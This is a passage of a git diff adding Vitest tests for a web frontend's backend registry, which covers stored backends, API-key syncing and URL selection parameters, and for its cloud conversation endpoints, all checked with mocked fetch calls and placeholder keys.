+ vi.stubEnv("VITE_SESSION_API_KEY", "fresh-session-key");
+ window.localStorage.setItem(BACKENDS_STORAGE_KEY, JSON.stringify([]));
+
+ const result = readStoredBackends();
+
+ expect(result).toHaveLength(1);
+ expect(result[0]).toMatchObject({ id: "default-local", kind: "local" });
+ });
+
+ it("re-seeds the default Local backend when every stored entry is invalid and launcher details are available", () => {
+ vi.stubEnv("VITE_BACKEND_BASE_URL", "http://localhost:9000");
+ vi.stubEnv("VITE_SESSION_API_KEY", "fresh-session-key");
+ window.localStorage.setItem(
+ BACKENDS_STORAGE_KEY,
+ JSON.stringify([{ kind: "cloud" }, "not-an-object"]),
+ );
+
+ const result = readStoredBackends();
+
+ expect(result).toHaveLength(1);
+ expect(result[0]).toMatchObject({ id: "default-local", kind: "local" });
+ });
+
+ it("filters out backends with invalid shape", () => {
+ window.localStorage.setItem(
+ BACKENDS_STORAGE_KEY,
+ JSON.stringify([
+ { id: "ok", name: "x", host: "y", apiKey: "z", kind: "local" },
+ { id: "missing-kind", name: "x", host: "y", apiKey: "z" },
+ { kind: "cloud" },
+ "not-an-object",
+ ]),
+ );
+
+ expect(readStoredBackends()).toEqual([
+ { id: "ok", name: "x", host: "y", apiKey: "z", kind: "local" },
+ ]);
+ });
+
+ it("preserves stored backends without API keys", () => {
+ vi.stubEnv("VITE_SESSION_API_KEY", "");
+ const storedBackend: Backend = {
+ id: "default-local",
+ name: "Local",
+ host: window.location.origin,
+ apiKey: "",
+ kind: "local",
+ };
+ window.localStorage.setItem(
+ BACKENDS_STORAGE_KEY,
+ JSON.stringify([storedBackend]),
+ );
+
+ expect(readStoredBackends()).toEqual([storedBackend]);
+ });
+
+ it("syncs a stale default Local API key from env defaults", () => {
+ vi.stubEnv("VITE_SESSION_API_KEY", "fresh-session-key");
+ window.localStorage.setItem(
+ BACKENDS_STORAGE_KEY,
+ JSON.stringify([
+ {
+ id: "default-local",
+ name: "Local",
+ host: window.location.origin,
+ apiKey: "stored-session-key",
+ kind: "local",
+ },
+ ]),
+ );
+
+ expect(readStoredBackends()[0]).toMatchObject({
+ id: "default-local",
+ apiKey: "fresh-session-key",
+ });
+ });
+
+ it("syncs a stale default Local API key across localhost and 127.0.0.1", () => {
+ vi.stubEnv("VITE_BACKEND_BASE_URL", "http://127.0.0.1:8000");
+ vi.stubEnv("VITE_SESSION_API_KEY", "fresh-session-key");
+ window.localStorage.setItem(
+ BACKENDS_STORAGE_KEY,
+ JSON.stringify([
+ {
+ id: "default-local",
+ name: "Local",
+ host: "http://localhost:8000",
+ apiKey: "stored-session-key",
+ kind: "local",
+ },
+ ]),
+ );
+
+ expect(readStoredBackends()[0]).toMatchObject({
+ id: "default-local",
+ host: "http://localhost:8000",
+ apiKey: "fresh-session-key",
+ });
+ });
+
+ it("preserves a custom backend API key instead of syncing from env defaults", () => {
+ vi.stubEnv("VITE_SESSION_API_KEY", "fresh-session-key");
+ const storedBackend: Backend = {
+ id: "custom-local",
+ name: "Custom Local",
+ host: window.location.origin,
+ apiKey: "stored-session-key",
+ kind: "local",
+ };
+ window.localStorage.setItem(
+ BACKENDS_STORAGE_KEY,
+ JSON.stringify([storedBackend]),
+ );
+
+ expect(readStoredBackends()[0]).toMatchObject({
+ id: "custom-local",
+ apiKey: "stored-session-key",
+ });
+ });
+
+ it("preserves a user-edited non-loopback default Local backend API key", () => {
+ vi.stubEnv("VITE_SESSION_API_KEY", "fresh-session-key");
+ const storedBackend: Backend = {
+ id: "default-local",
+ name: "Edited Local",
+ host: "https://example.com",
+ apiKey: "stored-session-key",
+ kind: "local",
+ };
+ window.localStorage.setItem(
+ BACKENDS_STORAGE_KEY,
+ JSON.stringify([storedBackend]),
+ );
+
+ expect(readStoredBackends()[0]).toMatchObject({
+ id: "default-local",
+ host: "https://example.com",
+ apiKey: "stored-session-key",
+ });
+ });
+
+ it("round-trips active selection with orgId", () => {
+ writeStoredActiveBackend({ backendId: "xyz", orgId: "org-1" });
+ expect(readStoredActiveBackend()).toEqual({
+ backendId: "xyz",
+ orgId: "org-1",
+ });
+ });
+
+ it("normalizes missing orgId to null", () => {
+ writeStoredActiveBackend({ backendId: "xyz" });
+ expect(readStoredActiveBackend()).toEqual({
+ backendId: "xyz",
+ orgId: null,
+ });
+ });
+
+ it("prefers the tab-scoped active selection over the global fallback", () => {
+ window.localStorage.setItem(
+ ACTIVE_BACKEND_STORAGE_KEY,
+ JSON.stringify({ backendId: "global-backend", orgId: null }),
+ );
+ window.sessionStorage.setItem(
+ ACTIVE_BACKEND_STORAGE_KEY,
+ JSON.stringify({ backendId: "tab-backend", orgId: "org-1" }),
+ );
+
+ expect(readStoredActiveBackend()).toEqual({
+ backendId: "tab-backend",
+ orgId: "org-1",
+ });
+ });
+
+ it("falls back to the global active selection for new tabs", () => {
+ window.localStorage.setItem(
+ ACTIVE_BACKEND_STORAGE_KEY,
+ JSON.stringify({ backendId: "global-backend", orgId: null }),
+ );
+
+ expect(readStoredActiveBackend()).toEqual({
+ backendId: "global-backend",
+ orgId: null,
+ });
+ });
+
+ it("clears storage when active selection is set to null", () => {
+ writeStoredActiveBackend({ backendId: "xyz", orgId: "o" });
+ writeStoredActiveBackend(null);
+
+ expect(
+ window.sessionStorage.getItem(ACTIVE_BACKEND_STORAGE_KEY),
+ ).toBeNull();
+ expect(window.localStorage.getItem(ACTIVE_BACKEND_STORAGE_KEY)).toBeNull();
+ expect(readStoredActiveBackend()).toBeNull();
+ });
+
+ it("returns null active selection when storage is malformed", () => {
+ window.localStorage.setItem(ACTIVE_BACKEND_STORAGE_KEY, "{broken");
+ expect(readStoredActiveBackend()).toBeNull();
+ });
+});
diff --git a/__tests__/api/backend-registry/url-selection.test.ts b/__tests__/api/backend-registry/url-selection.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..40e6cc53da12570e7e9e9f55f709f6b9943f3a1c
--- /dev/null
+++ b/__tests__/api/backend-registry/url-selection.test.ts
@@ -0,0 +1,166 @@
+import { describe, expect, it } from "vitest";
+import {
+ BACKEND_QUERY_PARAM,
+ ORG_QUERY_PARAM,
+ readBackendSelectionFromUrl,
+ withBackendSelectionParams,
+} from "#/api/backend-registry/url-selection";
+import type { Backend } from "#/api/backend-registry/types";
+
+const localBackend: Backend = {
+ id: "local-1",
+ name: "Local 1",
+ host: "http://localhost:9000",
+ apiKey: "k",
+ kind: "local",
+};
+
+const cloudBackend: Backend = {
+ id: "prod",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-key",
+ kind: "cloud",
+};
+
+const backends = [localBackend, cloudBackend];
+
+describe("withBackendSelectionParams", () => {
+ it("pins the active backend id onto the path", () => {
+ const path = withBackendSelectionParams("/conversations/abc", {
+ backend: localBackend,
+ orgId: null,
+ });
+
+ expect(path).toBe(`/conversations/abc?${BACKEND_QUERY_PARAM}=local-1`);
+ });
+
+ it("includes the org id for a cloud backend", () => {
+ const path = withBackendSelectionParams("/conversations/abc", {
+ backend: cloudBackend,
+ orgId: "org-7",
+ });
+
+ expect(path).toBe(
+ `/conversations/abc?${BACKEND_QUERY_PARAM}=prod&${ORG_QUERY_PARAM}=org-7`,
+ );
+ });
+
+ it("omits the org id when there is none", () => {
+ const path = withBackendSelectionParams("/conversations/abc", {
+ backend: cloudBackend,
+ orgId: null,
+ });
+
+ expect(path).not.toContain(ORG_QUERY_PARAM);
+ });
+
+ it("preserves query parameters already on the path", () => {
+ const path = withBackendSelectionParams("/conversations/abc?tab=files", {
+ backend: localBackend,
+ orgId: null,
+ });
+
+ expect(path).toBe(
+ `/conversations/abc?tab=files&${BACKEND_QUERY_PARAM}=local-1`,
+ );
+ });
+
+ it("keeps a fragment after existing query parameters intact and after the query", () => {
+ const path = withBackendSelectionParams(
+ "/conversations/abc?tab=files#detail",
+ {
+ backend: localBackend,
+ orgId: null,
+ },
+ );
+
+ expect(path).toBe(
+ `/conversations/abc?tab=files&${BACKEND_QUERY_PARAM}=local-1#detail`,
+ );
+ });
+
+ it("keeps a fragment on a path without query parameters after the query", () => {
+ const path = withBackendSelectionParams("/conversations/abc#detail", {
+ backend: localBackend,
+ orgId: null,
+ });
+
+ expect(path).toBe(
+ `/conversations/abc?${BACKEND_QUERY_PARAM}=local-1#detail`,
+ );
+ });
+
+ it("does not treat a ? inside the fragment as a query separator", () => {
+ const path = withBackendSelectionParams("/conversations/abc#detail?x=1", {
+ backend: localBackend,
+ orgId: null,
+ });
+
+ expect(path).toBe(
+ `/conversations/abc?${BACKEND_QUERY_PARAM}=local-1#detail?x=1`,
+ );
+ });
+
+ it("round-trips an empty fragment verbatim", () => {
+ const path = withBackendSelectionParams("/conversations/abc#", {
+ backend: localBackend,
+ orgId: null,
+ });
+
+ expect(path).toBe(`/conversations/abc?${BACKEND_QUERY_PARAM}=local-1#`);
+ });
+
+ it("keeps the org id and the fragment together", () => {
+ const path = withBackendSelectionParams("/conversations/abc#detail", {
+ backend: cloudBackend,
+ orgId: "org-7",
+ });
+
+ expect(path).toBe(
+ `/conversations/abc?${BACKEND_QUERY_PARAM}=prod&${ORG_QUERY_PARAM}=org-7#detail`,
+ );
+ });
+
+ it("keeps query data that itself contains a ?", () => {
+ const path = withBackendSelectionParams("/conversations/abc?next=/a?b=1", {
+ backend: localBackend,
+ orgId: null,
+ });
+
+ expect(path).toBe(
+ `/conversations/abc?next=%2Fa%3Fb%3D1&${BACKEND_QUERY_PARAM}=local-1`,
+ );
+ });
+});
+
+describe("readBackendSelectionFromUrl", () => {
+ it("reads a registered backend id", () => {
+ expect(
+ readBackendSelectionFromUrl(backends, `?${BACKEND_QUERY_PARAM}=local-1`),
+ ).toEqual({ backendId: "local-1", orgId: null });
+ });
+
+ it("reads the org id alongside the backend id", () => {
+ expect(
+ readBackendSelectionFromUrl(
+ backends,
+ `?${BACKEND_QUERY_PARAM}=prod&${ORG_QUERY_PARAM}=org-7`,
+ ),
+ ).toEqual({ backendId: "prod", orgId: "org-7" });
+ });
+
+ it("ignores a backend id that is not registered", () => {
+ expect(
+ readBackendSelectionFromUrl(backends, `?${BACKEND_QUERY_PARAM}=gone`),
+ ).toBeNull();
+ });
+
+ it("ignores an empty or absent parameter", () => {
+ expect(readBackendSelectionFromUrl(backends, "")).toBeNull();
+ expect(readBackendSelectionFromUrl(backends, "?tab=files")).toBeNull();
+ expect(
+ readBackendSelectionFromUrl(backends, `?${BACKEND_QUERY_PARAM}=`),
+ ).toBeNull();
+ });
+});
diff --git a/__tests__/api/cloud/conversation-create.test.ts b/__tests__/api/cloud/conversation-create.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..a46e6b109ede179db9cb14416c15c2f1addf7236
--- /dev/null
+++ b/__tests__/api/cloud/conversation-create.test.ts
@@ -0,0 +1,128 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import {
+ getFetchCall,
+ getJsonBody,
+ mockJsonResponse,
+} from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+ id: "prod",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-token",
+ kind: "cloud",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id });
+ fetchMock.mockReset();
+ global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ fetchMock.mockReset();
+ global.fetch = originalFetch;
+});
+
+describe("AgentServerConversationService cloud branch", () => {
+ it("createConversation POSTs the cloud payload directly and returns a WORKING task", async () => {
+ fetchMock.mockResolvedValue(
+ mockJsonResponse({
+ id: "task-123",
+ created_by_user_id: null,
+ status: "WORKING",
+ detail: null,
+ app_conversation_id: null,
+ agent_server_url: null,
+ request: {},
+ created_at: "2026-05-06T00:00:00Z",
+ updated_at: "2026-05-06T00:00:00Z",
+ }),
+ );
+
+ const result = await AgentServerConversationService.createConversation({
+ initialUserMsg: "fix the bug",
+ conversationInstructions: "Optional title",
+ metadata: {
+ selected_repository: "user/repo",
+ selected_branch: "main",
+ // eslint-disable-next-line @typescript-eslint/no-explicit-any
+ git_provider: "github" as any,
+ },
+ });
+
+ expect(fetchMock).toHaveBeenCalledOnce();
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(`${cloudBackend.host}/api/v1/app-conversations`);
+ expect(init).toMatchObject({
+ method: "POST",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+ const requestBody = getJsonBody(init);
+
+ // cloud payload shape — flat fields, NO encrypted-settings round-trip.
+ expect(requestBody.selected_repository).toBe("user/repo");
+ expect(requestBody.selected_branch).toBe("main");
+ expect(requestBody.git_provider).toBe("github");
+ expect(requestBody.title).toBe("Optional title");
+ expect(requestBody.initial_message).toEqual({
+ role: "user",
+ content: [{ type: "text", text: "fix the bug" }],
+ });
+ // The local-only encrypted-settings keys must NOT be present.
+ expect(requestBody).not.toHaveProperty("agent_settings_encrypted");
+ expect(requestBody).not.toHaveProperty("conversation_settings_encrypted");
+
+ // The returned task is the upstream task — WORKING, no app_conversation_id yet.
+ expect(result.id).toBe("task-123");
+ expect(result.status).toBe("WORKING");
+ expect(result.app_conversation_id).toBeNull();
+ });
+
+ it("getStartTask polls /api/v1/app-conversations/start-tasks?ids= directly", async () => {
+ fetchMock.mockResolvedValue(
+ mockJsonResponse([
+ {
+ id: "task-123",
+ created_by_user_id: null,
+ status: "READY",
+ detail: null,
+ app_conversation_id: "conv-456",
+ agent_server_url: "https://runtime-456.app.all-hands.dev",
+ request: {},
+ created_at: "2026-05-06T00:00:00Z",
+ updated_at: "2026-05-06T00:00:00Z",
+ },
+ ]),
+ );
+
+ const result =
+ await AgentServerConversationService.getStartTask("task-123");
+
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(
+ `${cloudBackend.host}/api/v1/app-conversations/start-tasks?ids=task-123`,
+ );
+ expect(init).toMatchObject({
+ method: "GET",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+ expect(result?.status).toBe("READY");
+ expect(result?.app_conversation_id).toBe("conv-456");
+ });
+});
diff --git a/__tests__/api/cloud/conversation-delete.test.ts b/__tests__/api/cloud/conversation-delete.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..b5712095b22c239a90f5256c7a00cb8477e9d965
--- /dev/null
+++ b/__tests__/api/cloud/conversation-delete.test.ts
@@ -0,0 +1,51 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import { getFetchCall, mockJsonResponse } from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+ id: "prod",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-token",
+ kind: "cloud",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id });
+ fetchMock.mockReset();
+ fetchMock.mockResolvedValue(mockJsonResponse({ success: true }));
+ global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ fetchMock.mockReset();
+ global.fetch = originalFetch;
+});
+
+describe("AgentServerConversationService.deleteConversation cloud branch", () => {
+ it("calls the cloud DELETE app-conversations endpoint directly", async () => {
+ await AgentServerConversationService.deleteConversation("conv-abc");
+
+ expect(fetchMock).toHaveBeenCalledOnce();
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(`${cloudBackend.host}/api/v1/app-conversations/conv-abc`);
+ expect(init).toMatchObject({
+ method: "DELETE",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+ });
+});
diff --git a/__tests__/api/cloud/conversation-download.test.ts b/__tests__/api/cloud/conversation-download.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..b82dd8e35fd7fbe6d003f31bf94d26520dc53fe8
--- /dev/null
+++ b/__tests__/api/cloud/conversation-download.test.ts
@@ -0,0 +1,63 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import {
+ getFetchCall,
+ mockBlobResponse,
+ mockJsonResponse,
+} from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+ id: "prod",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-token",
+ kind: "cloud",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id });
+ fetchMock.mockReset();
+ fetchMock.mockResolvedValue(mockJsonResponse({}));
+ global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ fetchMock.mockReset();
+ global.fetch = originalFetch;
+});
+
+describe("AgentServerConversationService.downloadConversation cloud branch", () => {
+ it("calls the cloud download endpoint directly with responseType blob and returns the Blob", async () => {
+ fetchMock.mockResolvedValueOnce(
+ mockBlobResponse("zip-bytes", "application/zip"),
+ );
+
+ const result =
+ await AgentServerConversationService.downloadConversation("conv-abc");
+
+ expect(fetchMock).toHaveBeenCalledOnce();
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(
+ `${cloudBackend.host}/api/v1/app-conversations/conv-abc/download`,
+ );
+ expect(init).toMatchObject({
+ method: "GET",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+ await expect(result.text()).resolves.toBe("zip-bytes");
+ });
+});
diff --git a/__tests__/api/cloud/conversation-pause.test.ts b/__tests__/api/cloud/conversation-pause.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..81494f2e95cf474192acd54c898f63559b68ccac
--- /dev/null
+++ b/__tests__/api/cloud/conversation-pause.test.ts
@@ -0,0 +1,93 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types";
+import { pauseConversation } from "#/hooks/mutation/conversation-mutation-utils";
+import { ExecutionStatus } from "#/types/agent-server/core/base/common";
+import { getFetchCall, mockJsonResponse } from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+ id: "prod",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-token",
+ kind: "cloud",
+};
+
+const buildConversation = (
+ overrides: Partial = {},
+): AppConversation => ({
+ id: "conv-abc",
+ created_by_user_id: null,
+ selected_repository: null,
+ selected_branch: null,
+ git_provider: null,
+ title: "Test",
+ trigger: null,
+ pr_number: [],
+ llm_model: null,
+ metrics: null,
+ created_at: "2026-04-16T00:00:00Z",
+ updated_at: "2026-04-16T00:00:00Z",
+ execution_status: ExecutionStatus.RUNNING,
+ conversation_url: null,
+ session_api_key: null,
+ sandbox_id: "sandbox-xyz",
+ sub_conversation_ids: [],
+ ...overrides,
+});
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id });
+ fetchMock.mockReset();
+ fetchMock.mockResolvedValue(mockJsonResponse({ success: true }));
+ global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ fetchMock.mockReset();
+ global.fetch = originalFetch;
+ vi.restoreAllMocks();
+});
+
+describe("pauseConversation cloud branch", () => {
+ it("POSTs directly to the cloud sandbox pause endpoint", async () => {
+ vi.spyOn(
+ AgentServerConversationService,
+ "batchGetAppConversations",
+ ).mockResolvedValue([buildConversation({ sandbox_id: "sandbox-xyz" })]);
+
+ await pauseConversation("conv-abc");
+
+ expect(fetchMock).toHaveBeenCalledOnce();
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(`${cloudBackend.host}/api/v1/sandboxes/sandbox-xyz/pause`);
+ expect(init).toMatchObject({
+ method: "POST",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+ });
+
+ it("throws and does not call the cloud API when the cloud conversation has no sandbox_id", async () => {
+ vi.spyOn(
+ AgentServerConversationService,
+ "batchGetAppConversations",
+ ).mockResolvedValue([buildConversation({ sandbox_id: null })]);
+
+ await expect(pauseConversation("conv-abc")).rejects.toThrow(/sandbox_id/);
+ expect(fetchMock).not.toHaveBeenCalled();
+ });
+});
diff --git a/__tests__/api/cloud/conversation-public-flag.test.ts b/__tests__/api/cloud/conversation-public-flag.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..c43fb7654b749b283ee3122e7551f8d45a302d7a
--- /dev/null
+++ b/__tests__/api/cloud/conversation-public-flag.test.ts
@@ -0,0 +1,73 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import {
+ getFetchCall,
+ getJsonBody,
+ mockJsonResponse,
+} from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+ id: "prod",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-token",
+ kind: "cloud",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ fetchMock.mockReset();
+ fetchMock.mockResolvedValue(
+ mockJsonResponse({ id: "conv-abc", public: true }),
+ );
+ global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ fetchMock.mockReset();
+ global.fetch = originalFetch;
+});
+
+describe("AgentServerConversationService.updateConversationPublicFlag", () => {
+ it("PATCHes /api/v1/app-conversations/{id} directly on a cloud backend", async () => {
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id });
+
+ await AgentServerConversationService.updateConversationPublicFlag(
+ "conv-abc",
+ true,
+ );
+
+ expect(fetchMock).toHaveBeenCalledOnce();
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(`${cloudBackend.host}/api/v1/app-conversations/conv-abc`);
+ expect(init).toMatchObject({
+ method: "PATCH",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+ expect(getJsonBody(init)).toEqual({ public: true });
+ });
+
+ it("rejects without calling the cloud API when the active backend is local", async () => {
+ // Default state after reset is the bundled local backend.
+ await expect(
+ AgentServerConversationService.updateConversationPublicFlag(
+ "conv-abc",
+ true,
+ ),
+ ).rejects.toThrow(/cloud backend/);
+ expect(fetchMock).not.toHaveBeenCalled();
+ });
+});
diff --git a/__tests__/api/cloud/conversation-runtime-info.test.ts b/__tests__/api/cloud/conversation-runtime-info.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..950c2198186db76697a5fda40b0d398e0a7d17b8
--- /dev/null
+++ b/__tests__/api/cloud/conversation-runtime-info.test.ts
@@ -0,0 +1,135 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import {
+ getFetchCall,
+ getJsonBody,
+ mockJsonResponse,
+} from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+ id: "prod",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-token",
+ kind: "cloud",
+};
+
+const localBackend: Backend = {
+ id: "self-hosted",
+ name: "Self-hosted",
+ host: "http://192.168.1.99:9999",
+ apiKey: "local-key",
+ kind: "local",
+};
+
+const runtimeResponse = {
+ id: "conv-abc",
+ title: "Test conversation",
+ created_at: "2026-04-16T00:00:00Z",
+ updated_at: "2026-04-16T00:00:00Z",
+ execution_status: "idle",
+ metrics: null,
+ stats: {
+ usage_to_metrics: {
+ agent: {
+ model_name: "test-model",
+ accumulated_cost: 1.23,
+ max_budget_per_task: null,
+ accumulated_token_usage: null,
+ costs: [],
+ response_latencies: [],
+ token_usages: [],
+ },
+ },
+ },
+};
+
+const fetchMock = vi.fn();
+
+afterEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ fetchMock.mockReset();
+ vi.unstubAllGlobals();
+ vi.restoreAllMocks();
+});
+
+describe("AgentServerConversationService.getRuntimeConversation", () => {
+ describe("cloud mode", () => {
+ beforeEach(() => {
+ __resetActiveStoreForTests();
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id });
+ fetchMock.mockReset();
+ vi.stubGlobal("fetch", fetchMock);
+ });
+
+ it("targets the conversation runtime host directly and forwards X-Session-API-Key", async () => {
+ // Arrange
+ fetchMock.mockResolvedValue(mockJsonResponse(runtimeResponse));
+ const conversationUrl =
+ "http://abc123.runtime.all-hands.dev/api/conversations/conv-abc";
+
+ // Act
+ const result =
+ await AgentServerConversationService.getRuntimeConversation(
+ "conv-abc",
+ conversationUrl,
+ "session-xyz",
+ );
+
+ // Assert — fetch goes directly to the runtime host, not through
+ // /api/cloud-proxy (which was removed from the agent-server).
+ expect(fetchMock).toHaveBeenCalledOnce();
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toContain("abc123.runtime.all-hands.dev");
+ expect(url).toContain("/api/conversations/conv-abc");
+ expect(url).not.toMatch(/\/api\/cloud-proxy$/);
+ expect(init.headers).toMatchObject({
+ "X-Session-API-Key": "session-xyz",
+ });
+ expect(result.stats.usage_to_metrics.agent?.accumulated_cost).toBe(1.23);
+ });
+ });
+
+ describe("local mode", () => {
+ beforeEach(() => {
+ __resetActiveStoreForTests();
+ setRegisteredBackends([localBackend]);
+ setActiveSelection({ backendId: localBackend.id });
+ fetchMock.mockReset();
+ vi.stubGlobal("fetch", fetchMock);
+ });
+
+ it("targets the conversation_url host (not the active backend host) and forwards X-Session-API-Key", async () => {
+ // Arrange
+ fetchMock.mockResolvedValue(mockJsonResponse(runtimeResponse));
+ const conversationUrl =
+ "http://192.168.1.42:8888/api/conversations/conv-abc";
+
+ // Act
+ const result =
+ await AgentServerConversationService.getRuntimeConversation(
+ "conv-abc",
+ conversationUrl,
+ "session-xyz",
+ );
+
+ // Assert
+ expect(fetchMock).toHaveBeenCalledOnce();
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toContain("192.168.1.42:8888");
+ expect(url).not.toContain(localBackend.host);
+ expect(init.headers).toMatchObject({
+ "X-Session-API-Key": "session-xyz",
+ });
+ expect(result.id).toBe("conv-abc");
+ });
+ });
+});
diff --git a/__tests__/api/cloud/conversation-title.test.ts b/__tests__/api/cloud/conversation-title.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..1680c8ff76a55e57a6cdaf809c1baa2381181d1e
--- /dev/null
+++ b/__tests__/api/cloud/conversation-title.test.ts
@@ -0,0 +1,84 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import {
+ getFetchCall,
+ getJsonBody,
+ mockJsonResponse,
+} from "./fetch-test-utils";
+
+vi.mock("@openhands/typescript-client/clients", async (importOriginal) => {
+ const actual =
+ await importOriginal<
+ typeof import("@openhands/typescript-client/clients")
+ >();
+
+ return {
+ ...actual,
+ ConversationClient: vi.fn().mockImplementation(() => ({
+ updateConversation: vi
+ .fn()
+ .mockRejectedValue(
+ new Error("Cloud title updates must not use ConversationClient"),
+ ),
+ })),
+ };
+});
+
+const cloudBackend: Backend = {
+ id: "prod",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-token",
+ kind: "cloud",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ fetchMock.mockReset();
+ fetchMock.mockResolvedValue(
+ mockJsonResponse({ id: "conv-abc", title: "Renamed conversation" }),
+ );
+ global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ fetchMock.mockReset();
+ global.fetch = originalFetch;
+});
+
+describe("AgentServerConversationService.updateConversationTitle", () => {
+ it("PATCHes the app-conversation directly on a cloud backend", async () => {
+ setRegisteredBackends([cloudBackend]);
